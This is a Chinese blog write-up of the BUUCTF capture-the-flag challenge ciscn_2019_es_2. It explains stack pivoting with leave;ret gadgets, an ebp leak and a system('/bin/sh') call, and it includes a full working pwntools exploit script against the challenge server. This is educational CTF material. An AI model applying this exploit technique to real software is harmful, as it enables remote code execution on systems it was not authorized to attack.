【BUUCTFPWN】ciscn_2019_es_2 栈迁移 栈劫持

文章详细介绍了如何利用栈溢出漏洞,通过栈迁移技术在存在限制的环境中执行system函数。首先检查程序安全性,然后分析溢出条件,发现溢出长度不足以直接进行ROP。通过栈迁移,找到leave_ret指令,泄露ebp地址,并计算出/bin/sh字符串的地址,最终构造payload实现远程代码执行。
摘要由CSDN通过智能技术生成

初步分析

拿到之后先checksec然后运行一下看看io信息。
在这里插入图片描述
在这里插入图片描述
使用32位IDA打开,查看关键的函数vul,函数里创建了一个长度为0x28的buf字符串,read函数最大可输入长度为0x30,只可以已出8个字节,ebp占四个字节,然后就是返回地址4个字节。
在这里插入图片描述
函数列表里有system函数,可是由于我们能溢出的字符串太短,没办法给system函数构造参数,不能使用原本的技巧解题。所以这里考虑到了栈迁移,同时迁移栈空间足够后需要知道/bin/sh的地址,这个可以通过read来输入/bin/sh,并且泄露一个地址,计算偏移量来找出输入/bin/sh的地址。

现在来盘点下我们的思路:

  1. 存在栈溢出漏洞,但是由于可供溢出的空间太小,我们选择采用栈迁移,采用栈迁移必须要使用到leave, ret组合指令。
  2. 程序中存在system函数,我们可以在内存中存放一个字符串/bin/sh,并且我们可以计算出该字符串在内存中的地址,我们就可以构造并执行system('/bin/sh')
  3. 可供我们使用的空间:本题中没有bss段可供我们使用,我们能用的之后read函数读入的0x30个字节的空间,我们目标就是将栈迁移到这0x30个字节上,扩大到足够让我们存放/bin/sh字符串并构造system函数。

栈溢出长度不足来直接 ROP,把栈迁移到别的地方来构造新的ROP链,一般利用leave_ret来进行栈迁移

leave指令和ret指令详解

leave
//move esp, ebp  将ebp指向的地址给esp
//pop ebp  将esp指向的地址存放的值赋值给ebp
ret
//pop eip  将esp指向的地址存放的值赋值给eip

使用ROPgadget查找到leave_ret地址:
在这里插入图片描述

栈迁移、栈劫持

我们都知道,ebp(我们将次称为ebp1)所指向的内存中存放的是上一次压入的ebp(我们将此称为ebp0),我们可以通过第一次的read函数和printf函数将该内容打印出来,但是打印出来之后的ebp0无法使用,原因是我们知道ebp1到buf的距离是0x28,而我们不知道ebp0到ebp1的距离是多少,这时候我们需要动态地调试一下程序,找到ebp0到ebp1之间的距离。

我们知道ebp1到buf的距离是0x28
在这里插入图片描述
动态地调试一下程序,找到ebp0到ebp1之间的距离
我们从将IDA View-A窗口切换到文本视图(切换方法文末IDA使用技巧中有),查看vul函数,在里面找到nop这个指令,我们要在gdb中将断点设置在这个位置,然后查看ebp0和ebp1之间的距离。
在这里插入图片描述
如下图我们设置断点,并在每个输入里都输入’aaaa’。
在这里插入图片描述
紧接着我们使用stack 20查看栈的前20项。清楚地我们看到ebp所指向的地址(即ebp1)为0xffffcfe8,此时ebp里的存放的内容(即ebp0)为0xffffcff8,同时我们也找到我们的输入‘aaaa’所在的位置(即esp),相距ebp1的距离确实0x28。此时,我们可以计算出ebp1到ebp0的距离为0x10。(由于我们最终需要的是ebp0到buf间的距离,所以直接使用ebp0减去esp也可)
在这里插入图片描述

payload

from pwn import *
context.binary = './ciscn_2019_es_2'
elf = context.binary
io = remote('node4.buuoj.cn' ,27790)

system = elf.sym[ 'system' ]
leave_ret = 0x080484b8

payload = b'a'*0×24
payload += b'b'*4
io.recvline()
io.send(payload)

io.recvuntil(b'bbbb')
ebp_difference = 0×10
ebp0 = io.recv(4).ljust(4,b'\0')
print(ebp0)
ebp0 = u32(ebp0)
print (hex(ebp0))

payload = b'aaaa'
payload += p32(system)
payload += b'read'
payload += p32(ebp0-ebp_difference-0x28+4*0×4)
payload += b'/bin/sh'
payload = payload.ljust(0×28,b'\x00')
payload += p32(ebp0-ebp_difference-0x28)
payload += p32 (leave_ret)

io.sendlineafter(b'\n' ,payload)

io.interactive()
  1. 第一次read泄露ebp地址
"""
第一次read,目的是泄露ebp0的值,
方便我们计算栈迁移时的目的地,
以及我们存放/bin/sh字符串的地址
"""
payload = b'a'*0×24
payload += b'b'*4
io.recvline()
io.send(payload)
  1. 第二次read利用leave_ret劫持地址
payload = b'aaaa'
payload += p32(system)
payload += b'read'
payload += p32(ebp0-ebp_difference-0x28+4*0×4)
"""
我们使用ebp0,计算出了/bin/sh字符串的地址,
ebp0-ebp_difference就等于ebp1的值,
ebp0-ebp_difference-0x28就是payload最开头'aaaa'的地址,

b'aaaa'、p32(system)、b'read'、p32(ebp0-ebp_difference-0x28+4*0×4)
每个都占四个字节,所以这地方再加上4*4
就到了字符串/bin/sh的地址

该地址我们可以随意构造,比如说我们可以再将它往下推4个字节,这时我们的地址索引就要再加上4如:
payload = b'aaaa'
payload += p32(system)
payload += b'read'
payload += p32(ebp0-ebp_difference-0x28+5*0×4)
payload += b'aaaa'
payload += b'/bin/sh'
payload = payload.ljust(0×28,b'\x00')
payload += p32(ebp0-ebp_difference-0x28)
payload += p32 (leave_ret)
"""
payload += b'/bin/sh'
payload = payload.ljust(0×28,b'\x00')
payload += p32(ebp0-ebp_difference-0x28)
payload += p32 (leave_ret)

图解栈迁移的过程

第一次leave_ret过程

第二次read函数输入后的状态:
在这里插入图片描述
第一次leave_ret中leave的mov esp,ebp操作(这个leave_ret就是vul函数最后的两个汇编指令)
在这里插入图片描述
第一次leave_ret中leave的pop ebp,esp=esp+4(不能忘!)指向leave_ret:
在这里插入图片描述
第一次leave_ret中 ret 的pop ebp:
在这里插入图片描述

第二次leave_ret过程

第二次leave_ret中 leave 的 move esp ebp:(这个leave_ret是我们在rop链中利用ROPgadget构造的leave_ret)
在这里插入图片描述
第二次leave_ret中 leave 的 pop ebp
在这里插入图片描述
第二次leave_ret 中 ret 的 pop eip
在这里插入图片描述

经验总结

栈迁移之类的题是第一次写,重要的步骤有以下几点:

  1. 找到要迁移的目的地,可以使bss段,也可以是如本题的栈上,我们首先要解决的第一个问题是目的地的地址是否已知,bss段上的地址可以直接查看,而栈上的地址则需要我们泄露出ebp之后再计算。
  2. 不能忘记 ret 中 pop eip 的操作会将 esp-4
  3. system函数执行时,需要知道的是字符串的地址,我们要将/bin/sh字符串存入内存,在计算出其地址值,才能构造system函数使用。

IDA使用技巧

如果在文本视图(text view)界面,右键单击会出现菜单,里面可以切换到图形视图(Graph view)。相反同理,可以从图形视图右键单击切换到文本视图。
在这里插入图片描述
在这里插入图片描述

参考连接

https://blog.csdn.net/weixin_45743302/article/details/118066603

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值